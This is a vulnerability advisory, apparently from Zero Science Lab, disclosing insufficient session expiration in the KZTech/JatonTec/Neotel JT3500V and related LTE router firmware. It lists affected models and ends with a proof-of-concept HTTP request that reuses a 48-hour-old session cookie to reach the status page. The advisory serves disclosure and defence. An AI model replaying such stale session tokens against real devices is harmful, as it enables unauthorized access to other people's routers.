KZTech/JatonTec/Neotel JT3500V 4G LTE CPE version 2.0.1 suffers an insufficient session expiration. This occurs when the web application permits an attacker to reuse old session credentials or session IDs for authorization. Insufficient session expiration increases the device's exposure to attacks that can steal or reuse user's session identifiers.
84f580c69eb4c4b67b39a30f8f592c3a
KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Insufficient Session Expiration
Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
http://www.jatontec.com/products/show.php?itemid=258
http://www.jatontech.com/CAT12.html#_pp=105_564
http://www.kzbtech.com/AM3300V.html
https://neotel.mk/ostanati-paketi-2/
Affected version: Model | Firmware
-------|---------
JT3500V | 2.0.1B1064
JT3300V | 2.0.1B1047
AM6200M | 2.0.0B3210
AM6000N | 2.0.0B3042
AM5000W | 2.0.0B3037
AM4200M | 2.0.0B2996
AM4100V | 2.0.0B2988
AM3500MW | 2.0.0B1092
AM3410V | 2.0.0B1085
AM3300V | 2.0.0B1060
AM3100E | 2.0.0B981
AM3100V | 2.0.0B946
AM3000M | 2.0.0B21
KZ7621U | 2.0.0B14
KZ3220M | 2.0.0B04
KZ3120R | 2.0.0B01
Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.
Desc: The application suffers an insufficient session expiration.
This occurs when the web application permits an attacker to reuse
old session credentials or session IDs for authorization. Insufficient
session expiration increases the device's exposure to attacks that
can steal or reuse user's session identifiers.
Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
Linux 2.6.36+ (mips)
Mediatek APSoC SDK v4.3.1.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5646
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5646.php
03.02.2021
--
Session valid after 48 hours:
GET /status.html HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6
Cookie: uid=token:b24649a236d0e1951b2d2f16430dfb1b
HTTP/1.0 200 OK
Date: Thu Feb 11 00:29:39 2021
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
Pragma: no-cache
Cache-Control: no-cache
Content-type: text/html